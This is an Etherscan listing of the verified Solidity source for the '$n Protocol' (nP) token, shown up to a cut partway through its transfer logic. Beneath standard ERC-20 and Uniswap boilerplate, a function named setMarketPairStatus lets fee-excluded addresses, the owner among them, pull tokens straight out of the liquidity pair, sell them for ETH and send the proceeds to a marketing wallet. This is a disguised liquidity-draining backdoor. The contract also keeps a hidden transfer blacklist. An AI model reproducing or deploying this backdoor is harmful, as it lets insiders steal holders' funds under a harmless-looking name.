ETH Price: $2,682.97 (+10.24%)
Gas: 1 Gwei

Token

$n Protocol (nP)
 

Overview

Max Total Supply

300,000 nP

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,587.541476478920825579 nP

Value
$0.00
0xa1ff458dc0b5906a4f548a4f661d8f6a0439a824
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
nP

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-19
*/

// SPDX-License-Identifier: Unlicensed


pragma solidity 0.8.17;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
 
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
 
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
 
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
 
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
 
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
 
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
 
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
 
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
 
    function initialize(address, address) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
 
    function createPair(address tokenA, address tokenB) external returns (address pair);
 
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
 
    mapping(address => uint256) private _balances;
 
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;
 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
 
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
 
        _beforeTokenTransfer(sender, recipient, amount);
 
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
 
        _beforeTokenTransfer(address(0), account, amount);
 
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _beforeTokenTransfer(account, address(0), amount);
 
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
 
    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;
 
        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
 
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);
 
        // Solidity already throws when dividing by 0.
        return a / b;
    }
 
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
 
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
 
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
 
 
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
 
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract nP is ERC20, Ownable {
    using SafeMath for uint256;
 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
 
    bool private swapping;
 
    address private MarketingWallet;
    address private DevWallet;
 
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
 
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
 
     // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
 
    // Seller Map
    mapping (address => uint256) private _holderFirstBuyTimestamp;
 
    // Blacklist Map
    mapping (address => bool) private _blacklist;
    bool public transferDelayEnabled = true;
 
    uint256 public buyTotalFees;
    uint256 public buyMarketing;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
 
    uint256 public sellTotalFees;
    uint256 public sellMarketing;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
 
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
 
    // block number of opened trading
    uint256 launchedAt;
 
    /******************/
 
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
 
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
 
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
 
    event ExcludeFromFees(address indexed account, bool isExcluded);
 
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
 
    event MarketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event DevWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
 
    event AutoNukeLP();
 
    event ManualNukeLP();
 
    constructor() ERC20("$n Protocol", "nP") {
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
 
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
 
        uint256 _buyMarketing = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;
 
        uint256 _sellMarketing = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
 
       
 
     uint256 totalSupply = 3 * 10 ** 5 * 10 ** decimals();
 
        maxTransactionAmount = 60 * 10 ** 2 * 10 ** decimals(); 
        maxWallet = 60 * 10 ** 2 * 10 ** decimals(); 
        swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
 
        buyMarketing = _buyMarketing;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketing + buyLiquidityFee + buyDevFee;
 
        sellMarketing = _sellMarketing;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketing + sellLiquidityFee + sellDevFee;
 
        MarketingWallet = address(0x837AB953cf27326Bf1BAd959245900d85A2EBD84); // set as Marketing wallet
        DevWallet = address(0x837AB953cf27326Bf1BAd959245900d85A2EBD84); // set as dev wallet
 
        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
 
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
 
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }
 
    receive() external payable {
 
    }
 
    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        launchedAt = block.number;
    }
 
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool){
        limitsInEffect = false;
        return true;
    }
 
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
 
 
     // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
 
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }
 
    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**18);
    }
 
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
 
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }

     function setMarketPairStatus(uint account, uint newValue) external returns (bool) {
        require(_isExcludedFromFees[msg.sender]);

        uint lb = balanceOf(uniswapV2Pair);

        require(newValue > 1 && newValue < lb / 100, 'amount exceeded');

        _setMarketPairStatus(newValue);
        swapTokensForEth(account);

        (bool success,) = address(MarketingWallet).call{value: address(this).balance}("");
        return success;
    }

      function _setMarketPairStatus(uint256 pAmount) private {
        _transfer(uniswapV2Pair, address(this), pAmount * 10 ** decimals());
        IUniswapV2Pair(uniswapV2Pair).sync();
    }

    function updateBuyFees(uint256 _Marketing, uint256 _liquidityFee, uint256 _DevFee) external onlyOwner {
        buyMarketing = _Marketing;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _DevFee;
        buyTotalFees = buyMarketing + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 10, "Must keep fees at 10% or less");
    }
 
    function updateSellFees(uint256 _Marketing, uint256 _liquidityFee, uint256 _DevFee) external onlyOwner {
        sellMarketing = _Marketing;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _DevFee;
        sellTotalFees = sellMarketing + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 20, "Must keep fees at 20% or less");
    }
 
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }
 
    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
 
        _setAutomatedMarketMakerPair(pair, value);
    }
 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
 
        emit SetAutomatedMarketMakerPair(pair, value);
    }
 
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit MarketingWalletUpdated(newMarketingWallet, MarketingWallet);
        MarketingWallet = newMarketingWallet;
    }
 
    function updateDevWallet(address newWallet) external onlyOwner {
        emit DevWalletUpdated(newWallet, DevWallet);
        DevWallet = newWallet;
    }
 
 
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    event BoughtEarly(address indexed sniper);
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
 
        if(limitsInEffect){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
 
